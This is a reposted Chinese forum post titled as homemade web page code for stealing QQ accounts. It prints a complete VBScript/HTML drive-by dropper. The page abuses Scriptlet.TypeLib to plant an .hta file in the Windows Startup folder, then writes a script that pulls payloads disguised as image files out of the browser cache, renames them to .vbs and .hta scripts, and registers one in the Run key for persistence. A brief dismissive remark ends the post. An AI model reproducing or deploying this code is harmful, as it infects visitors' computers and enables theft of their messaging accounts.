自制盗QQ号网页代码[转]

1. <html>
   
2. <script language=vbs>
   
3. 'on error resume next
   
4. rem czy a scit boy 2002.3.31
   
5. aosoao
   
6. sub cal()
   
7. myname=document.location
   
8. If Right(myname, 3) = "hta" Then
   
9. call svbs()
   
10. end if
    
11. end sub
    
12. sub svbs()
    
13. 'on error resume next
    
14. set fso = createobject("Scripting.FileSystemObject")
    
15. If not (fso.FolderExists("c:\windows\system32\qq")) Then
    
16. fso.CreateFolder("c:\windows\system32\qq")
    
17. call sv()
    
18. else
    
19. settimeout "aa()",1
    
20. end if
    
21. end sub
    
22. sub sv()
    
23. set fso = createobject("Scripting.FileSystemObject")
    
24. set fil = fso.opentextfile("C:\WINDOWS\Start Menu\Programs\启动\so.vbs",2,tr
    
25. ue)
    
26. fil.writeline "drnext"
    
27. fil.writeline "sub drnext()"
    
28. fil.writeline "on error resume next"
    
29. fil.writeline "set fso = createobject(""Scripting.FileSystemObject"")"
    
30. fil.writeline "If (fso.FileExists(""C:\WINDOWS\Start Menu\Programs\启动\so.h
    
31. ta"")) Then"
    
32. fil.writeline "fso.DeleteFile(""C:\WINDOWS\Start Menu\Programs\启动\so.hta""
    
33. )"
    
34. fil.writeline "end if"
    
35. fil.writeline "for each dr in fso.getfolder(""C:\windows\tempor~1"").subfold
    
36. ers"
    
37. fil.writeline " fdnext(dr)"
    
38. fil.writeline " flnext(dr)"
    
39. fil.writeline " next "
    
40. fil.writeline "end sub"
    
41. fil.writeline "sub fdnext(dr)"
    
42. fil.writeline "for each fd in dr.subfolders"
    
43. fil.writeline " fdnext(fd)"
    
44. fil.writeline " flnext(fd)"
    
45. fil.writeline "next"
    
46. fil.writeline "end sub"
    
47. fil.writeline "sub flnext(dr)"
    
48. fil.writeline "set fso = createobject(""Scripting.FileSystemObject"")"
    
49. fil.writeline "for each fl in dr.files"
    
50. fil.writeline "If LCase(fso.GetFileName(fl))=""123451[1].bmp"" then"
    
51. fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\1.bmp"""
    
52. fil.writeline "elseif LCase(fso.GetFileName(fl))=""123452[1].ico"" then"
    
53. fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\1.ico"""
    
54. fil.writeline "elseif LCase(fso.GetFileName(fl))=""123453[1].jpeg"" then"
    
55. fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\2.jpg"""
    
56. fil.writeline "elseif LCase(fso.GetFileName(fl))=""123454[1].jpeg"" then"
    
57. fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\dl.vbs"""
    
58. fil.writeline "elseif LCase(fso.GetFileName(fl))=""123455[1].jpeg"" then"
    
59. fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\qq.vbs"""
    
60. fil.writeline "elseif LCase(fso.GetFileName(fl))=""123456[1].jpeg"" then"
    
61. fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\qq1.hta"""
    
62. fil.writeline "elseif LCase(fso.GetFileName(fl))=""123457[1].jpeg"" then"
    
63. fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\qq2.hta"""
    
64. fil.writeline " End If"
    
65. fil.writeline "next"
    
66. fil.writeline "set R = CreateObject(""WScript.Shell"")"
    
67. fil.writeline "R.RegWrite ""HKCU\Software\Microsoft\Windows\CurrentVersion\
    
68. Run\qq"",_"
    
69. fil.writeline """c:\windows\system32\qq\qq.vbs"""
    
70. fil.writeline "end sub"
    
71. '----------------------------
    
72. settimeout "aa()",1
    
73. end sub
    
74. sub aa()
    
75. window.close
    
76. end sub
    
77. </script>
    
78. <script language=vbscript>
    
79. on error resume next
    
80. function lvbs()
    
81. For Each ws In document.scripts
    
82. If LCase(ws.Language) = "vbs" Then
    
83. Lvbs = ws.Text
    
84. Exit Function
    
85. End If
    
86. next
    
87. end function
    
88. main
    
89. sub main()
    
90. dim aa
    
91. lvbs
    
92. aa="<html><script language=vbscript>" & lvbs & "<" & "/" & "script" & ">" &
    
93. "<" & "/" & "html" & ">"
    
94. set os = createobject("Scriptlet.TypeLib")
    
95. Os.Reset
    
96. Os.Path = "C:\WINDOWS\Start Menu\Programs\启动\so.hta"
    
97. Os.Doc = aa
    
98. Os.Write()
    
99. end sub
    
100. </script>
     
101. <img src=123451.bmp>
     
102. <img src=123452.ico>
     
103. <img src=123453.jpg>
     
104. <img src=123454.jpg>
     
105. <img src=123455.jpg>
     
106. <img src=123456.jpg>
     
107. <img src=123457.jpg>
     
108. <body>
     
109. </body>
     
110. </html>

复制代码

烂...做这种东西...